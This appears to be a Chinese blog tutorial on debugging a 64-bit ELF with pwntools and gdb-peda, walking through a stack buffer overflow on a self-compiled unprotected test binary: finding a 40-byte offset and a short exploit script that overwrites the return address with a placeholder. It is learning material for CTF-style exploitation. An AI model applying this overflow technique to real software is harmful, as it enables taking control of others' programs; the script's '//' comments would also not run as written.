【Pwn】使用gdb附加调试64位程序

elf,是Linux的主要可执行文件格式

可通过 pwntools的gdb模块 完成 elf文件的动态调试工作

其中最常用的是attach函数,在指定process之后可以attach上去调试,配合proc模块就可以得到对应进程的pid

pwntools开发脚本时如何调试:

1.使用proc.pidof(p)函数,将被测函数的pid打印出来

2.用gdb attach上去调试即可

例:

编译:各种保护都不加(64位)

打开两个终端:一个用来调试,另一个用来运行python脚本。

1终端:

可以看一眼汇编代码:objdump -d -M intel ./text

调试:gdb text

(这里用的peda)

pattern create 200

复制随机生成的字符串

r

粘贴字符串

回车

发现在ret处暂停,发现了错误

找到栈的最低地址处前四个字节,这里即为将要跳转的地方

pattern offset 四个字节

看到偏移为40

写出exp:

from pwn import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')        //实时获取debug,可注释

p = process("./test")

print "pid" + str(proc.pidof(p))

offset = 40

payload = offset * 'a' + p64(0xxxxxx)

#pause()        //pause要在sendline前面,用于调试

p.sendline(payload)

p.interactive()

终端2:

python exp.py

成功

若不成功

将pause取消注释,进行调试        //这里用正确的exp为例

将gdb附加到进程上面

终端2:

python exp.py

//进程已创建,pid也打印出来了

终端1:

gdb -attach 打印出的pid

终端2:

回车        //继续运行,发送process

终端1:

n        //一直向下单步执行

直到看到call getline函数

执行完此函数,看到rcx中出现了一堆a,说明已经获取到payload了

继续向下单步执行

看到gets函数执行完毕,几个寄存器全被覆盖为a

直到运行完ret,发现返回到了exploit函数

成功

posted @ 2022-05-17 19:55  轻闲一号机  阅读(43)  评论(0)    收藏  举报  来源